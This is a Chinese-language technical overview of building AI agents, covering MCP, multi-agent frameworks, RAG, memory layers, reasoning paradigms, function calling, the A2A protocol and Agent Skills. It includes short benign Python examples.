Agent 技术深解
从协议到生产的完整地图

一、MCP(Model Context Protocol)完整生态

如果说 Agent 是 2024-2025 年最热的 AI 概念,那么 MCP 一定是最热的协议。它由 Anthropic 在 2024 年 11 月推出,目标直白:给 LLM/Agent 装一个「USB-C 接口」,让任何数据源、工具都能即插即用。

1.1 MCP 是什么:三句话讲清楚

Model Context Protocol(MCP)是一个开放协议,标准化了应用程序如何为 LLM 提供上下文与工具。可以把它理解为「AI 世界的 USB-C」—— 任何数据源、任何工具,只要实现 MCP,Claude / Cursor / Cline / Continue 都能直接调用。

MCP 解决的核心问题是:每接一个新数据源就要重写一遍胶水代码。在 MCP 之前,LLM 应用每对接一个新工具,需要写一套定制集成(N×M 问题)。MCP 之后,只要都遵循同一个协议,就变成 N+M 问题。

1.2 协议架构:Host / Client / Server 三件套

MCP 采用 Client-Host-Server 架构,数据层基于 JSON-RPC 2.0:

• Host:AI 应用本体,如 Claude Desktop、Cursor、Cline。负责创建和管理多个 Client 实例。
• Client:Host 内嵌的协议客户端,与每个 Server 保持 1:1 有状态会话。
• Server:轻量级服务,通过 MCP 暴露 Resources / Tools / Prompts 三大原语。

1.2.1 MCP 通信架构图

关键洞察:每个 Client 跟一个 Server 维持 1:1 有状态会话,所有通信走 JSON-RPC 2.0。这套架构让"加一个新工具"从改 N 处代码 → 只装一个 Server。

三大核心原语:

1.3 生命周期:握手 → 操作 → 关闭

MCP 连接生命周期:

1. Initialization:Client 发送 initialize 请求,声明协议版本与能力;Server 回复自身能力;Client 发 initialized 通知。
2. Operation:正常通信阶段,所有消息必须符合协商的协议版本与能力。
3. Shutdown:Client 发 exit 通知,Server 关闭连接,清理资源。

1.4 传输层:stdio 与 Streamable HTTP

MCP 当前定义两种标准传输机制:

• stdio:本地进程间通信,通过标准输入输出流。零网络开销,适合本地集成与命令行工具。
• Streamable HTTP(2025-11 规范更新):基于 HTTP + SSE 的远程通信,支持 Bearer Token 与 OAuth 2.0,适合企业 SaaS 部署。

1.5 官方 SDK 全家桶

Anthropic 与社区维护的多语言 SDK:

1.6 官方 Server 合集

GitHub 上 modelcontextprotocol/servers 仓库(21.4k+ stars)收录了 20+ 个官方参考实现 + 75+ 官方集成,覆盖以下场景:

• 文件与代码:Filesystem、Git、GitHub、GitLab
• 数据:PostgreSQL、SQLite、Redis、MongoDB
• 开发工具:Sentry、Linear、Atlassian(Jira / Confluence)、Notion
• 通信:Slack、Cloudflare、Stripe、Postgres
• 搜索:Brave Search、Google Drive

此外,awesome-mcp-servers、mcp.so、Smithery、awesomemcp.com 上有上千个社区贡献的 Server,覆盖 90% 主流 SaaS 与开发工具。

1.7 MCP 客户端清单(谁原生支持 MCP)

• 桌面 IDE / 编辑器:Claude Desktop、Claude Code、Cursor、Cline、Continue、Zed、JetBrains、Windsurf、Cursor
• 聊天/Agent 客户端:LibreChat、ChatWise、5ire、TypingMind
• 企业平台:百度智能云千帆 AppBuilder、阿里云百炼、腾讯云、字节扣子
• 模型厂商:OpenAI、Anthropic、Google DeepMind、DeepSeek、智谱

1.8 MCP 开发工具

• MCP Inspector:官方调试器,可视化测试 tools/list、tools/call 命令。
• FastMCP:Python 极简框架,装饰器语法快速写 Server。
• mcp-use:用 MCP 直接对接 LLM 的库。
• Supergateway:把 stdio MCP Server 一键转成 SSE/HTTP 端点。

1.9 最小 MCP Server 示例(Python)

# 最简 MCP Server:提供 BMI 计算和天气查询两个工具
from mcp.server.fastmcp import FastMCP

mcp = FastMCP("hello-mcp-server", log_level="ERROR")

@mcp.tool()
def calculate_bmi(weight_kg: float, height_m: float) -> float:
    """根据体重(kg)和身高(m)计算 BMI。
    当用户询问 BMI 或健康相关问题时调用。
    """
    return weight_kg / (height_m ** 2)

@mcp.tool()
async def fetch_weather(city: str) -> str:
    """查询指定城市的当前天气。
    当用户询问天气时调用。
    """
    async with httpx.AsyncClient() as client:
        url = "https://wttr.in/" + city + "?format=3"
        resp = await client.get(url)
        return resp.text

if __name__ == "__main__":
    # stdio 模式,适合本地集成到 Claude Desktop
    mcp.run()

启动 Inspector 调试:

mcp dev hello_mcp_server.py
# 打开 http://localhost:5173 连接并测试

二、多 Agent 协作框架深度对比

单 Agent 在处理跨领域、需要多种专门能力的复杂任务时会很快碰到天花板。多 Agent 协作是 2024-2026 年 Agent 工程化的主战场,GitHub 上最热门的五大框架各有特色。

2.0 整体 Agent 体系架构(从底层到顶层)

五层架构:① 应用层(场景)→ ② 编排层(框架选型)→ ③ Agent 核心(ReAct)→ ④ 协议层(MCP)→ ⑤ 基础设施(模型/记忆/向量库/工具)。这一章后续所有内容都是这五层中某一层的展开。

2.1 五大主流框架横评

2.2 架构范式深度对比

五大框架本质上是五种不同的协作哲学:

• CrewAI = 任务板(Trello):招几个人,分配活,按顺序或层级干完。流程死板,但简单直接。
• AutoGen = 群聊(微信群):让 Agent 自己讨论、互相挑刺。灵活但容易跑偏。
• LangGraph = 流程图(Visio):把每一步画成图,条件跳转、循环重试都显式化。最灵活,学习曲线最陡。
• MetaGPT = 外包团队:内置产品经理、架构师、工程师角色,给需求就出代码。专精软件开发。
• OpenAI Agents SDK = 接力赛:轻量级 Handoff,适合「入口 Agent + 专家 Agent」分诊模式。

2.3 多 Agent 协作的 5 大架构模式

1. Supervisor(中央调度):一个 Manager Agent 统一分配任务、汇总结果。LangGraph 经典模式。
2. Peer-to-Peer(去中心化):Agent 平等通信,谁需要什么就找谁。AutoGen GroupChat 模式。
3. Hierarchical(层级):管理者 → 执行者 → 工具调用者,三层金字塔。适合大型企业任务。
4. Blackboard(黑板):所有 Agent 共享一个中央状态,谁有想法谁写,异步协作。
5. Market(拍卖/竞争):多个 Agent 投标完成任务,价格最低/质量最高的胜出。适合资源调度场景。

2.4 CrewAI 实战示例:三 Agent 写报告

from crewai import Agent, Task, Crew

# 定义三个角色
researcher = Agent(
    role="市场研究员",
    goal="调研 2025 年中国 AI 编程助手市场,发现趋势和玩家",
    backstory="你是 10 年经验的资深市场研究员",
    allow_delegation=False, verbose=True
)

analyst = Agent(
    role="数据分析师",
    goal="对比主要玩家的技术路线和商业模型",
    backstory="你是 AI 行业分析师,擅长技术选型分析",
    allow_delegation=False, verbose=True
)

writer = Agent(
    role="报告写手",
    goal="将分析结果整理为 3000 字行业报告",
    backstory="你是顶尖行业报告撰写专家",
    allow_delegation=False, verbose=True
)

# 定义任务链
research_task = Task(
    description="调研 2025 年中国 AI 编程助手市场前 5 名玩家的产品定位",
    expected_output="包含 5 家公司核心信息的调研笔记",
    agent=researcher
)
analysis_task = Task(
    description="基于调研笔记,做技术路线和商业模型对比分析",
    expected_output="对比表格和结论",
    agent=analyst,
    context=[research_task]  # 关键:依赖前一步的输出
)
write_task = Task(
    description="撰写 3000 字行业报告,含执行摘要、市场分析、未来展望",
    expected_output="3000 字 Markdown 报告",
    agent=writer,
    context=[research_task, analysis_task]
)

# 启动
crew = Crew(
    agents=[researcher, analyst, writer],
    tasks=[research_task, analysis_task, write_task],
    process=Process.sequential,  # 顺序执行
    verbose=2
)
result = crew.kickoff()
print(result)

2.5 LangGraph 实战示例:带条件分支的状态机

from typing import TypedDict
from langgraph.graph import StateGraph, START, END
from langchain_openai import ChatOpenAI

# 全局状态(在节点间传递)
class State(TypedDict):
    question: str
    intent: str
    answer: str
    quality: int

llm = ChatOpenAI(model="gpt-4o-mini", temperature=0)

# 节点函数:每个节点是一个普通 Python 函数
def classify_intent(state: State) -> State:
    resp = llm.invoke(f"判断问题意图(技术/闲聊/投诉):{state['question']}")
    return {"intent": resp.content.strip()}

def answer_tech(state: State) -> State:
    resp = llm.invoke(f"作为技术专家回答:{state['question']}")
    return {"answer": resp.content}

def answer_chat(state: State) -> State:
    resp = llm.invoke(f"礼貌闲聊回答:{state['question']}")
    return {"answer": resp.content}

def escalate_complaint(state: State) -> State:
    return {"answer": "您的投诉已转接人工客服,工号 #12345"}

def quality_check(state: State) -> State:
    resp = llm.invoke(f"给回答打分 1-10:{state['answer']}")
    return {"quality": int(resp.content.strip())}

def route_intent(state: State) -> str:
    """条件路由:根据意图跳到不同节点"""
    if "技术" in state["intent"]:
        return "tech"
    elif "投诉" in state["intent"]:
        return "complaint"
    else:
        return "chat"

def route_quality(state: State) -> str:
    """质量不达标就重做"""
    return "redo" if state["quality"] < 7 else "accept"

# 构建图
workflow = StateGraph(State)
workflow.add_node("classify", classify_intent)
workflow.add_node("answer_tech", answer_tech)
workflow.add_node("answer_chat", answer_chat)
workflow.add_node("escalate", escalate_complaint)
workflow.add_node("check", quality_check)

workflow.add_edge(START, "classify")
workflow.add_conditional_edges("classify", route_intent, {
    "tech": "answer_tech",
    "chat": "answer_chat",
    "complaint": "escalate"
})
workflow.add_edge("answer_tech", "check")
workflow.add_edge("answer_chat", END)
workflow.add_edge("escalate", END)
workflow.add_conditional_edges("check", route_quality, {
    "redo": "answer_tech",  # 不满意就重答
    "accept": END
})

app = workflow.compile()
result = app.invoke({"question": "Python 中如何处理大文件?"})
print(result["answer"])

2.6 失败模式:多 Agent 的隐藏陷阱

多 Agent 系统上线后,90% 的问题都出在以下三个地方:

1. 通信风暴:Agent 之间互相发消息,Token 成本指数级增长(单 Agent 是 1×,3 Agent 是 18×)。
2. 循环死锁:Agent A 问 Agent B,B 反问 A,无限循环烧光 Token。需要最大轮次限制 + 终止条件。
3. 幻觉级联:一个 Agent 产生幻觉,下游 Agent 把它当事实继续推理,错误被放大。

2.7 框架选型决策树

三、Agent 评估基准全景

2024-2026 年,Agent 评估从「学术刷榜」转向「质量控制循环」。核心问题从「我的 Agent 多聪明」变成「我的 Agent 在真实任务里到底能完成多少」。

3.1 通用能力基准

3.2 工具使用专项

3.3 Web Agent 专项

3.4 选型建议

通用能力 → GAIA / AgentBench · 代码 → SWE-bench Verified · 工具 → BFCL · 客服 → τ-bench · Web → WebArena · 完整 OS → OSWorld

另外,实际项目最关键的是建立自己的小规模评测集(50-100 题)。通用基准是参考,自己业务的真实数据才是真相。

四、Advanced RAG 进阶

基础 RAG(Naive RAG)已经无法应对企业级复杂场景。2024-2026 年,Advanced RAG 百花齐放,从「向量化 → 检索」升级为「多策略融合 + 自反思 + 知识图谱」的体系。

4.1 RAG 演进时间线

1. Naive RAG(2023 初):切块 + Embedding + 向量检索 + 生成。简单但只懂局部片段。
2. Advanced RAG(2023 中-2024):查询改写、路由、混合检索、重排序(Re-Rank)、HyDE。
3. Modular RAG(2024):组件化、可插拔、按需拼装。
4. GraphRAG / Agentic RAG(2024-2025):知识图谱 + Agent 决策检索策略。
5. CAG / Self-RAG / CRAG:反思、缓存、纠错的新范式。

4.2 主流 Advanced RAG 方案对比

4.3 GraphRAG 详解

微软 2024 年 4 月推出,7 月开源,GitHub 33.4k+ stars。两阶段构建:

1. 索引阶段:用 LLM 从文档抽取实体和关系,组成知识图谱,然后用 Leiden 算法做社区检测,为每个社区生成摘要。
2. 查询阶段:支持 local(局部实体查询)和 global(跨社区主题查询)两种模式。

实测在跨文档推理、主题聚类问题上比 Naive RAG 提升 3 倍以上(微软内部测试)。缺点:索引阶段 Token 成本高、构建耗时长(百页文档需几十分钟)。

4.4 LightRAG:GraphRAG 的轻量化版本

港大黄超团队 2024 年 10 月开源,GitHub 10k+ stars,已入选 EMNLP 2025。核心改进:

• 双层检索(High-level + Low-level),兼顾全局主题与局部细节
• 增量更新(无需重建整个图谱)
• 检索时只需一次 LLM 调用 + 少于 100 token 的关键词生成,Token 成本只有 GraphRAG 的 1/100
• 在法律、农业等大规模语料上综合表现优于 GraphRAG

4.5 向量数据库选型对比

RAG 的「最后一公里」是向量数据库。2025 年主流选型对比:

选型口诀:

• 极简原型:Chroma(5 分钟跑通)
• 中小生产:Qdrant(性能好,运维简单)或 Weaviate(混合检索强)
• 大规模/私有化:Milvus(亿级+无压力,需 K8s 经验)或 Milvus + Zilliz Cloud
• 已有 Postgres:pgvector(< 100 万向量够用,迁移成本低)
• Serverless / 边缘:LanceDB

4.6 Embedding 与 Rerank 模型

五、Agent 记忆系统

LLM 的上下文窗口是稀缺资源。Agent 在长任务、多轮对话、跨会话场景下,必须借助外部记忆系统。2025 年,AI 记忆领域迎来「MemX 混战」,数十个项目融资上亿。

5.1 记忆类型分类

5.2 三大代表项目

① Mem0 - 通用记忆层(生产级首选)

• 定位:"The memory layer for AI",GitHub 42.6k+ stars
• 核心架构:Mem0 + Mem0g(图扩展)。从对话抽取事实 → 与已有记忆做 ADD/UPDATE/DELETE/NOOP → 存储到向量+KV+图
• 性能:在 LOCOMO 基准上比 OpenAI Memory 准确率 +26%,响应速度快 91%,Token 用量 -90%
• 2025 年 10 月:完成 2,400 万美元融资,YC / Peak XV / Basis Set 等参投
• 生态:AWS Agent SDK 官方记忆层、LangGraph 集成、CrewAI 集成

② Letta(原 MemGPT)- 分层虚拟上下文

• 定位:UC Berkeley 实验室孵化,GitHub 19k+ stars
• 核心思想:借鉴操作系统虚拟内存,Agent 主动管理 Core Memory(主上下文)+ Recall Memory(中转)+ Archival Memory(归档)
• 创新点:Agent File(.af)格式,让 Agent 状态可在不同框架间迁移
• 提供:Letta Cloud(托管版)、Docker、桌面应用三种部署

③ Zep / Graphiti - 时间知识图谱

• 定位:面向 Agent 的时序记忆层,GitHub 3.7k+ stars,Graphiti 19.7k+ stars
• 核心创新:每个事实带 valid_at / invalid_at 时间戳,自动追踪关系随时间变化
• 典型场景:"用户上周喜欢咖啡,这周失眠不能喝"——Zep 能自动更新

5.3 新兴项目

5.4 选型决策树

• 文档/知识检索:RAG(Chroma + LangChain 即可)
• 跨会话个性化:Mem0 / LangMem(轻量、成熟)
• 长期角色型 Agent:Letta(自管理记忆、Agent File)
• CRM / 工单 / 医疗 / 金融:Zep / Graphiti(动态关系、时间线)
• 强合规业务:自研 + LangMem(权限、审计、删除可控)

六、推理与规划范式

2022-2024 年是「Reasoning Engineering」爆发期。从 CoT 到 ReAct,从 ToT 到 Reflexion,这一系列范式构成了今天 Agent 思考能力的理论基础。

6.1 核心范式详解

① Chain-of-Thought(CoT)思维链

论文:"Chain-of-Thought Prompting Elicits Reasoning in Large Language Models",Wei et al.,NeurIPS 2022

让 LLM 一步步写出思考过程。零样本版只需加 "Let's think step by step"。

② ReAct(Reasoning + Acting)推理-行动

论文:"ReAct: Synergizing Reasoning and Acting in Language Models",Shunyu Yao 等,普林斯顿 + Google,ICLR 2023(arXiv:2210.03629)。GitHub: ysymyth/ReAct

把 Thought-Action-Observation 交错成循环:LLM 先想 → 调工具 → 看结果 → 再想。在 HotpotQA / ALFWorld / WebShop 上首次证明「思考 + 行动」组合显著优于单独使用。

③ ReAct 完整伪代码

def react_agent(question: str, tools: list, max_steps: int = 10) -> str:
    """ReAct 范式的极简实现"""
    history = []  # 累积 (Thought, Action, Observation)
    context = build_react_prompt(question, tools, history)  # few-shot + 当前问题

    for step in range(max_steps):
        llm_output = llm(context)
        # 解析 LLM 输出
        thought, action = parse_react(llm_output)

        if action.type == "Finish":
            return action.answer

        # 执行工具
        observation = execute_tool(action.tool, action.input)
        history.append((thought, action, observation))

        # 把新历史加入上下文
        context = add_to_context(context, thought, action, observation)

    return "超过最大步数,未完成"

# ReAct Prompt 模板(简化)
REACT_PROMPT = """你是一个会思考、会使用工具的 Agent。

可用工具:
{tools_description}

格式:
Thought: 你要思考下一步做什么
Action: tool_name[input]
Observation: 工具返回结果(由系统填入)
... (循环 N 次)
Thought: 我现在知道答案了
Action: Finish[最终答案]

问题: {question}
{history}
"""

④ Tree of Thoughts(ToT)思维树

论文:Yao et al.,NeurIPS 2023(arXiv:2305.10601)

把单一推理路径扩展为思维树,每一步可探索多条分支,通过 BFS/DFS 寻找最优解。适合需要创造性探索的复杂问题(24 点、填字游戏)。

⑤ Reflexion 自我反思

论文:"Reflexion: Language Agents with Verbal Reinforcement Learning",Shinn et al.,NeurIPS 2023(arXiv:2303.11381)

Agent 失败后,让 LLM 反思「为什么错了」,把反思存到记忆,下次避免同类错误。在 HumanEval 上从 80% 提升到 91%。

⑥ 其他重要范式

6.2 范式对比与选型

七、工具使用范式

工具调用是 Agent 区别于普通聊天机器人的核心能力。从 OpenAI Function Calling 到 MCP,工具协议标准化是 2024-2026 年最关键的工程化进展。

7.1 主流 Function Calling 协议

• OpenAI Function Calling(2023.6):结构化 JSON 输出,业界事实标准
• Anthropic Tool Use(Claude 4):与 OpenAI 类似,支持 prompt caching
• Google Function Calling(Gemini):支持并行调用、自动模式选择
• Mistral Tool Use:开源模型原生支持
• MCP(2024.11):开放协议,跨模型、跨平台

7.2 OpenAI Function Calling 完整示例

import json
from openai import OpenAI

client = OpenAI()

# 1. 定义工具(OpenAI 函数调用 schema)
tools = [
    {
        "type": "function",
        "function": {
            "name": "get_weather",
            "description": "获取指定城市的当前天气",
            "parameters": {
                "type": "object",
                "properties": {
                    "city": {"type": "string", "description": "城市名,如 北京"},
                    "unit": {"type": "string", "enum": ["celsius", "fahrenheit"], "default": "celsius"}
                },
                "required": ["city"]
            }
        }
    },
    {
        "type": "function",
        "function": {
            "name": "book_flight",
            "description": "预订航班",
            "parameters": {
                "type": "object",
                "properties": {
                    "from_city": {"type": "string"},
                    "to_city": {"type": "string"},
                    "date": {"type": "string", "description": "YYYY-MM-DD"},
                    "passengers": {"type": "integer", "default": 1}
                },
                "required": ["from_city", "to_city", "date"]
            }
        }
    }
]

# 2. 实现工具
def get_weather(city: str, unit: str = "celsius") -> str:
    return f"{city} 当前天气:晴,22°{unit[0].upper()}"

def book_flight(from_city: str, to_city: str, date: str, passengers: int = 1) -> str:
    return f"已为您预订 {date} {from_city}→{to_city} {passengers} 人航班,确认号:ABC123"

available_functions = {
    "get_weather": get_weather,
    "book_flight": book_flight,
}

# 3. 多轮对话 Agent
def agent_loop(user_input: str) -> str:
    messages = [{"role": "user", "content": user_input}]

    for _ in range(10):  # 最多 10 轮
        response = client.chat.completions.create(
            model="gpt-4o",
            messages=messages,
            tools=tools,
            tool_choice="auto"
        )
        msg = response.choices[0].message
        messages.append(msg)

        if not msg.tool_calls:
            return msg.content

        # 执行所有工具调用(支持并行)
        for tool_call in msg.tool_calls:
            func_name = tool_call.function.name
            func_args = json.loads(tool_call.function.arguments)
            result = available_functions[func_name](**func_args)
            messages.append({
                "role": "tool",
                "tool_call_id": tool_call.id,
                "content": result
            })

    return "任务过于复杂,终止"

# 4. 测试
print(agent_loop("北京今天天气怎么样?顺便帮我订一张明天到上海的机票"))

7.3 工具设计黄金法则

1. 单一职责:一个工具只做一件事。
2. 参数 Schema 清晰:每个参数都有 description 和 example,enum 限定取值范围。
3. 只读和写入分离:read_file 和 write_file 必须分开,写入类工具需要人工确认。
4. 结构化错误:返回 JSON 包含 success、error_code、message,方便 LLM 决策下一步。
5. 幂等性:同一调用多次结果一致,便于重试。

7.4 Toolformer 与 Tool 选择研究

• N-of-T 选择:让 LLM 选哪几个工具、以什么顺序调用。当前主流范式。
• Toolformer(Schick et al., 2023):让模型自己学会调用 API,无监督微调。
• MRKL、ReAct、Toolformer是「让 LLM 学用工具」的三种代表路径。

八、A2A(Agent-to-Agent)通信协议

如果说 MCP 解决了「Agent 如何用工具」,A2A 解决的是「Agent 如何与其他 Agent 协作」。2025 年 4 月 9 日,Google 在 Google Cloud Next 大会上发布 A2A 协议,联合 50+ 头部企业(Atlassian、SAP、Salesforce、Workday、LangChain 等),定位为 MCP 的「水平补充」。

8.1 A2A 是什么:Agent 之间的「世界语」

A2A 是一个开放协议,让不同框架、不同供应商构建的 AI 智能体能够安全地通信、交换信息、协调行动。无论底层平台是什么,只要遵守 A2A,就能即插即用。

8.2 核心设计原则

1. 拥抱 Agent 自主性:支持非结构化协作,不共享内存也能合作。
2. 基于成熟标准:HTTP + JSON-RPC + SSE,企业容易集成。
3. 默认安全:兼容 OpenAPI 认证方案(OAuth 2.0、API Key)。
4. 支持长时任务:从秒级到天级任务,带实时状态推送。
5. 模态无关:支持文本、图像、音频、视频流。

8.3 核心概念:Agent Card / Task / Artifact / Message

• Agent Card:Agent 名片(JSON),声明能力、技能、认证方式。规范托管在 https://{host}/.well-known/agent.json(即 https://<your-domain>/.well-known/agent.json)。
• Task:有状态的任务对象,生命周期:submitted → working → input-required → completed / canceled / failed。
• Artifact:任务最终输出(报告、图片、视频)。
• Message:Agent 间消息,包含多个 Part(TextPart / FilePart / DataPart)。

8.4 A2A 核心流程

1. Server Agent 托管 Agent Card
2. Client Agent 发现并选择 Server Agent
3. Client 发起 Task(tasks/send)
4. 可选:设置任务状态监听(tasks/pushNotification/set)
5. Server 执行任务,返回 Artifact
6. Client 异步获取结果(tasks/get)

8.5 A2A vs MCP:不是替代,是互补

8.6 Agent2Agent 与 Agent Payments Protocol(AP2)

2025 年 9 月,Google 进一步推出 AP2(Agent Payments Protocol),可视为 A2A + MCP 的扩展,专门解决「Agent 替用户下单付款」的授权、真实性、问责问题。与 60+ 支付企业(支付宝、微信支付、Mastercard、Coinbase、PayPal 等)合作。仓库:google-agentic-commerce/AP2。

8.7 A2A 生态(2025 年中)

• 企业巨头:Salesforce、SAP、ServiceNow、Workday、UKG、Intuit
• 数据库与平台:MongoDB、Neo4j、Elastic、DataStax
• AI 公司:Cohere、C3 AI、Articul8、LangChain
• 开发工具:JetBrains、JFrog
• 咨询公司:埃森哲、德勤、毕马威、PwC、麦肯锡

九、Agent 开发工具链与生产级架构

最后,一个完整的 Agent 技术栈涵盖框架、可观测性、评估、部署、安全、测试六个层面。本节给你一张完整的「生产地图」。

9.1 框架层(7 大主流)

9.2 可观测性层(O11y)

9.3 评估层

9.4 部署层

• LangServe:把 LangChain Runnable 一键变成 REST API。
• FastAPI + Docker:最通用、最可控。
• Modal / Replicate / RunPod:Serverless GPU 平台,按秒付费。
• vLLM / TGI / SGLang:自托管开源模型的高吞吐推理服务。

9.5 安全层

• Guardrails AI:输入/输出校验,结构化护栏。
• NVIDIA NeMo Guardrails:对话流式护栏,可编程。
• Rebuff:专门检测 Prompt Injection。
• Lakera Guard:商业化 LLM 防火墙。
• Microsoft PyRIT:红队测试框架。

9.6 测试层

• DeepEval:类 pytest 风格,CI 友好
• AgentEval / AgentBench Suite:Agent 步骤级评估
• τ-bench / AgentBench:综合能力 benchmark

9.7 完整生产级 Agent 架构图(参考)

9.8 选型对照速查表

十、学习路径与延伸阅读

10.1 三级学习路径

🟢 入门(0-3 个月)

1. 读懂 CoT / ReAct 论文,手写一个 ReAct 循环(100 行 Python)
2. 用 OpenAI Function Calling 做一个「查天气 + 订机票」Agent
3. 在 Chroma 中存几篇文档,搭建一个 RAG 问答
4. 用 MCP Inspector + FastMCP 写第一个 MCP Server

🟡 进阶(3-12 个月)

1. 掌握 LangGraph 状态机,搭建带 checkpoint 的生产级 Agent
2. 用 GraphRAG / LightRAG 处理百万级文档
3. 用 Mem0 给 Agent 加长期记忆,验证 LOCOMO 基准
4. 接入 Langfuse + DeepEval,完成生产可观测 + 评估闭环
5. 用 MCP 工具桥接你的内部系统(数据库、API)

🔴 高级(12 个月+)

1. 设计多 Agent 协作架构(Supervisor + 专家),引入 A2A 跨域协作
2. 在 SWE-bench Verified / GAIA 上达到 SOTA 80%+
3. 构建企业级 RAG(混合检索 + 重排序 + Agent 决策 + 安全护栏)
4. 研究 Agent Harness(可观测 + 评测 + 治理三件套),把 Trace 反哺 Prompt 迭代

10.2 必读论文清单

• Wei et al., 2022 - Chain-of-Thought Prompting Elicits Reasoning in Large Language Models(NeurIPS 2022)
• Yao et al., 2022 - ReAct: Synergizing Reasoning and Acting in Language Models(ICLR 2023)
• Yao et al., 2023 - Tree of Thoughts(NeurIPS 2023)
• Shinn et al., 2023 - Reflexion: Language Agents with Verbal Reinforcement Learning(NeurIPS 2023)
• Schick et al., 2023 - Toolformer: Language Models Can Teach Themselves to Use Tools(NeurIPS 2023)
• Microsoft, 2024 - AutoGen: Enabling Next-Gen LLM Applications via Multi-Agent Conversation
• Anthropic, 2024 - Introducing the Model Context Protocol
• Microsoft, 2024 - GraphRAG: Unlocking LLM Discovery on Narrative Private Data
• HKU, 2024 - LightRAG: Simple and Fast Retrieval-Augmented Generation(EMNLP 2025)
• Google, 2025 - A2A: Agent2Agent Protocol

10.3 必收藏的 GitHub 仓库

• modelcontextprotocol/servers - MCP 官方 Server 合集
• google/A2A - A2A 协议规范 + 示例
• langchain-ai/langgraph - 状态机 Agent
• microsoft/autogen - 对话式多 Agent
• crewAIInc/crewAI - 角色化多 Agent
• microsoft/graphrag - 微软 GraphRAG
• HKUDS/LightRAG - 轻量图增强 RAG
• mem0ai/mem0 - 通用记忆层
• letta-ai/letta - MemGPT 继任者
• langfuse/langfuse - 开源 LLMOps

十一、章节总结

• ✅ MCP是 AI 时代的 USB-C,Anthropic 2024.11 推出,8+ 语言 SDK,21k+ stars 官方 Server 仓库。
• ✅ 多 Agent 框架五大主流(LangGraph / AutoGen / CrewAI / MetaGPT / OpenAI Agents SDK),选型看场景。
• ✅ Agent 评估从刷榜转向质量控制循环,SWE-bench Verified 80%+ 是当下 SOTA 门槛。
• ✅ Advanced RAG百花齐放:GraphRAG / LightRAG / Self-RAG / CRAG / Agentic RAG 解决不同问题。
• ✅ 记忆系统Mem0 + Letta + Zep 三足鼎立,生产级首选 Mem0。
• ✅ 推理范式ReAct 是工业事实标准,ToT/Reflexion 解决创造性场景。
• ✅ 工具协议Function Calling + MCP 双轨并行,MCP 是未来。
• ✅ A2A补全 Agent 间通信空白,Google + 50 家企业生态。
• ✅ 生产级 Agent 架构= 框架 + 可观测性 + 评估 + 部署 + 安全 + 测试六层全栈。

十二、Agent Skills 完整图谱

2025 年 10 月 16 日,Anthropic 推出 Agent Skills,2025 年 12 月 18 日正式发布为开放标准(agentskills.io),成为与 MCP 并列的跨平台规范。本节系统讲清 Skills 的定义、核心机制、与相邻概念的差异。

12.1 概念定义:Skill 是什么?

官方定义(Agent Skills Spec 1.0):A skill is a folder of instructions, scripts, and resources that agents can discover and load dynamically to perform better at specific tasks. (Skill 是一个文件夹,里面装指令、脚本和资源,Agent 可以动态发现并按需加载,以便在特定任务上表现更好。)

一个 Skill 的最小结构:

my-skill/
├── SKILL.md          # 核心:必选,含 YAML 元数据 + Markdown 指令
├── scripts/          # 可选:Python/Bash 脚本,供 Agent 调用执行
├── references/       # 可选:长文档 / API 手册 / 补充材料
└── assets/           # 可选:模板文件 / 图片 / 静态资源

12.2 三大核心机制

1. 渐进式披露(Progressive Disclosure) —— 3 层加载设计:
   • 第 1 层(始终加载):仅 SKILL.md 的 YAML 元数据(name + description),约 100 tokens/skill,这是 Agent 判断"是否相关"的依据。
   • 第 2 层(按需加载):完整 SKILL.md 正文(通常 < 5000 tokens),当 Agent 判断技能与当前任务相关时,自动通过 Bash 工具读取。
   • 第 3 层(深度按需):references/、assets/ 中的辅助文件,Agent 在主指令要求时才去 fetch,上下文用量可视为"无上限"。
2. 命名即路由(Naming is Routing) —— description 字段是触发器。Agent 根据 description 描述的"何时使用"来语义匹配用户请求,类似函数声明的 docstring。description 写得越具体,路由越准;写得越模糊,Agent 调用越保守。这是 Skills 与普通 prompt 最大的区别:它把"如何被找到"写进元数据本身。
3. 单一职责(Single Responsibility) —— 专才比全才更可靠。一个 Skill 应该聚焦一类明确任务(如"代码审查"、"PDF 表格提取"),不要写成"万能助手"。单一职责让 Agent 容易触发、容易验证、容易迭代,也让"一个 Skill 出问题不影响其他"成为可能。

12.3 Skills vs Prompt vs Tool vs MCP vs Plugin 对比表

核心洞察:Skill 不是 MCP 的替代,而是 LLM 层的"操作手册",MCP 解决"Agent 能干什么",Skill 解决"Agent 怎么干得专业"。MCP 把工具(键盘/鼠标)连进来,Skill 教 Agent 按公司 SOP 使用这些工具。

十三、Skills 生态全景(2025.10 - 2026.2)

从 2025 年 10 月发布到 2026 年 2 月,短短 4 个月 Skills 已形成完整的"官方 + 社区 + 聚合 + 平台"四层生态。

13.1 官方与官方相关

• anthropics/skills —— Anthropic 官方仓库,16 个 skill(4 个文档处理 + 12 个示例),Apache 2.0 + Source-available 双重许可。涵盖 docx / pdf / pptx / xlsx 文档处理、frontend-design / webapp-testing / mcp-builder 开发、brand-guidelines / internal-comms 企业协作、skill-creator 元技能、algorithmic-art / canvas-design 创意等。
• agentskills.io —— 开放标准规范站,Spec 1.0 2025-10-16 公开,2025-12-18 正式开源。
• docs.claude.com —— Claude Code / Claude.ai / API 三端接入文档与最佳实践。

13.2 社区精选高 star 仓库

13.3 聚合站 / 技能市场

• skills.sh —— Vercel 生态,支持 npx skills add 一键安装,热门排行榜 + 多平台兼容。
• skillsmp.com —— 10 万+ Skills,兼容 Claude Code / Codex / ChatGPT,AI 语义搜索 + 热度排序 + 跨平台迁移。
• agentskills.io —— 开放标准 + 官方生态,63k+ 人工审核技能。
• smithery.ai/skills —— 15k+ Skills,显示激活次数 + GitHub Stars,提供 Skill 创建工具。
• SkillHub.Club —— 收录 16000+ 技能,提供 AI 评分与分类过滤功能。
• AI Templates Skills Library —— 254+ 精选技能,Stack Builder 与企业级配置模板,工程化落地场景。
• WorkBuddy SkillHub —— 腾讯云 SkillHub 收录 7 万+ Skills,2 个月下载量超 3000 万。
• CodeBuddy SkillHub —— 腾讯云代码助手官方技能市场,与 CodeBuddy Code 2.0 深度集成。
• QoderWork 技能广场 —— 阿里 QoderWork 内置技能,文档协作 / 文案生成 / 报告分析 / 简历制作 / 前端设计,无需从零搭建。

13.4 跨平台支持时间线

十四、Skills 设计模式(5 大经过验证的模式)

参考 obra/superpowers 和 muratcankoylan/Agent-Skills-for-Context-Engineering 等实战项目,以下 5 个设计模式已经在生产环境被验证,适合作为新 Skill 设计的起点。

模式 1:顺序工作流编排(客户入职)

